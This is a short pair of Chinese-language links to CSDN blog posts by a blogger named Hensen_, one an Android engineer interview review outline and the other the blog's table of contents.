[面試複習——Android工程師之Android面試大綱](https://blog.csdn.net/qq_30379689/article/details/73698192) [歡迎進入Hensen_的博客目錄(全站式導航)](https://blog.csdn.net/qq_30379689/article/details/52637226)